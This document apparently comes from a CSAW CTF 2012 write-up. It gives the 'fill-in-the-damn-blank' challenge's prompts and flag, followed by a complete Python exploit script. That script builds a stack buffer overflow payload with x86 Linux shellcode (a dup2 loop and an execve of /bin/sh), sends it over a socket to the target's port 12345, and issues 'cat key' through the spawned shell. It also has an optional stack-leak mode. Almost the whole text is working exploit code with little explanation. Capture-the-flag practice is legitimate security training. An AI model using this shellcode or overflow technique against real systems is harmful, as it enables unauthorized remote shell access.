WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game
'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: The password David used to access the school computers was _____\nAnswer: '
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'key{Something_different_from_strcpy}'

Exploit code:

import socket
import struct
from struct import pack
import time
import sys

host = sys.argv[1]
infoleak = int(sys.argv[2])

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print "len shellcode=", len(shellcode)

# challenge box
esp = 0xbffff174
# local gdb
#esp = 0xbffff234

if infoleak == 1:
  ret = pack("<I", 0x08048780) # _send
else:
  ret = pack("<I", esp)

size = 0xfff
offset = 0xbffff000

ebp = pack("<I", esp)

if infoleak == 0:
  payload = ebp * (60/4) + ret
else:
  payload = 'A' * 60 + ret

payload += pack('L', 0x8048690) # exit

payload += pack('L', 0x4) # fd
payload += pack('L', offset)
payload += pack('L', size) # len
payload += pack('L', 0x40) # flags

payload  += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,12345))

data = s.recv(1024)
print data

s.send("TOTO\n")
time.sleep(1)
s.send(payload)
time.sleep(1)
s.send("\ncat key\n")

data = s.recv(256) # discard

print repr(data)

data = s.recv(len("WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "))

print repr(data)

if infoleak == 0:
  while True:
    stack = s.recv(size)
    print repr(stack)
    if not stack:
      break
  sys.exit(0)

stack = s.recv(size)

print repr(stack)

for i in xrange(0, size - 1):
  if stack[i] == '\x31' and stack[i+1] == '\xc0':
    print "Found shellcode at ", hex(offset + i)
    break

while True:
  data = s.recv(65536)
  print repr(data)
  if not data:
    break
Share